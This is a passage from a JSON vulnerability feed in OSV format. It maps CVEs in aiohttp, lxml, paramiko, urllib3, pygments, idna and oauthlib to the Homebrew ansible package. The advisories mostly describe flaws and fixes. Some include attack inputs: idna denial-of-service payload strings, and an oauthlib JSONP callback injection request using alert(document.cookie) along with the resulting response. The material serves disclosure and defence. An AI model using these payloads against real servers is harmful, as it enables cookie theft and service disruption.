https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3wq7-rqq7-wx6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34517"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cbb774f38330563422ca0c413a71021d7b944145"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34518","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-966j-vmvw-g2g9","CVE-2026-34518","PYSEC-2026-2100"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP leaks Cookie and Proxy-Authorization headers on cross-origin redirect","details":"### Summary\n\nWhen following redirects to a different origin, aiohttp drops the Authorization header, but retains the Cookie and Proxy-Authorization headers.\n\n### Impact\n\nThe Cookie and Proxy-Authorizations headers could contain sensitive information which may be leaked to an unintended party after following a redirect.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-966j-vmvw-g2g9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34518"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5351c980dcec7ad385730efdf4e1f4338b24fdb6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34519","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-mwh4-6h8g-pg8w","CVE-2026-34519","PYSEC-2026-2101"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has HTTP response splitting via \\r in reason phrase","details":"### Summary\n\nAn attacker who controls the `reason` parameter when creating a `Response` may be able to inject extra headers or similar exploits.\n\n### Impact\n\nIn the unlikely situation that an application allows untrusted data to be used in the response's `reason` parameter, then an attacker could manipulate the response to send something different from what the developer intended.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mwh4-6h8g-pg8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34519"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53b35a2f8869c37a133e60bf1a82a1c01642ba2b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34520","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-63hf-3vf5-4wqf","CVE-2026-34520","PYSEC-2026-2102"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP's C parser (llhttp) accepts null bytes and control characters in response header values - header injection/security bypass","details":"### Summary\n\nThe C parser (the default for most installs) accepted null bytes and control characters in request headers.\n\n### Impact\n\nAn attacker could send header values that are interpreted differently than expected due to the presence of control characters. For example, `request.url.origin()` may return a different value than the raw Host header, or what a reverse proxy interpreted it as., potentially resulting in some kind of security bypass.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hf-3vf5-4wqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34520"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9370b9714a7a56003cacd31a9b4ae16eab109ba4"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2026-2102.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34525","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-c427-h43c-vf67","CVE-2026-34525","PYSEC-2026-2103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP accepts duplicate Host headers","details":"### Summary\n\nMultiple Host headers were allowed in aiohttp.\n\n### Impact\n\nMostly this doesn't affect aiohttp security itself, but if a reverse proxy is applying security rules depending on the target Host, it is theoretically possible that the proxy and aiohttp could process different host names, possibly resulting in bypassing a security check on the proxy and getting a request processed by aiohttp in a privileged sub app when using `Application.add_domain()`.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349\nPatch: https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-c427-h43c-vf67"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34525"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/53e2e6fc58b89c6185be7820bd2c9f40216b3000"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/e00ca3cca92c465c7913c4beb763a72da9ed8349"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.13.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-34993","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jg22-mg44-37j8","CVE-2026-34993","PYSEC-2026-2104"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP is Vulnerable to Deserialization of Untrusted Data","details":"### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-41066","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-vfmq-68hx-4jfw","CVE-2026-41066","PYSEC-2026-87"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"6.1.0","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml: Default configuration of iterparse() and ETCompatXMLParser() allows XXE to local files","details":"### Impact\nUsing either of the two parsers in the default configuration (with `resolve_entities=True`) allows untrusted XML input to read local files.\n\n### Patches\nlxml 6.1.0 changes the default to `resolve_entities='internal'`, thus disallowing local file access by default.\n\n### Workarounds\nSetting the `resolve_entities` option explicitly to `resolve_entities='internal'` or `resolve_entities=False` disables the local file access.\n\n### Resources\nOriginal report: https://bugs.launchpad.net/lxml/+bug/2146291\n\nThe default option was changed to `resolve_entities='internal'` for the normal XML and HTML parsers in lxml 5.0. The default was not changed for `iterparse()` and `ETCompatXMLParser()` at the time. lxml 6.1 makes the safe option the default for all parsers.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41066"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/2146291"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/releases/tag/lxml-6.1.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2026-87.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44405","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-r374-rxx8-8654","CVE-2026-44405","PYSEC-2026-2858"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.0.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko rsakey.py allows the SHA-1 algorithm","details":"In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44405"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/a4489456b6f65281e172380cc4826cee5e851dbb"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://ostif.org/wp-content/uploads/2026/05/25-11-2415-REP_paramiko-security-audit_v1.1.pdf"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44431","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-44432","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-4539","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-5239-wwwm-4pmq","CVE-2026-4539","PYSEC-2026-2987"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments has Regular Expression Denial of Service (ReDoS) due to Inefficient Regex for GUID Matching","details":"A security flaw has been discovered in pygments before 2.20.0. The impacted element is the function AdlLexer of the file pygments/lexers/archetype.py. The manipulation results in inefficient regular expression complexity. The attack is only possible with local access. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4539"},{"type":"WEB","url":"https://github.com/pygments/pygments/issues/3058"},{"type":"WEB","url":"https://github.com/pygments/pygments/pull/3064"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/24b8aa76c6cd6d70f39c6dd605cce319c98e2ccc"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/releases/tag/2.20.0"},{"type":"WEB","url":"https://vuldb.com/?ctiid.352327"},{"type":"WEB","url":"https://vuldb.com/?id.352327"},{"type":"WEB","url":"https://vuldb.com/?submit.774685"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-45409","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:27Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-47265","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-hg6j-4rv6-33pg","CVE-2026-47265","PYSEC-2026-2105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP is vulnerable to cross-origin redirect with per-request cookies","details":"### Summary\n\nCookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect.\n\n### Impact\n\nIf a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect.\n\n### Workaround\n\nIf unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hg6j-4rv6-33pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47265"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-49264","published":"2026-09-30T18:44:09Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-hj66-6f7g-4r5v","CVE-2026-49264"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.4_1"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.0","key":"pkg:pypi/oauthlib@4.0.0","resource":"oauthlib"}]},"summary":"Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation","details":"### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote 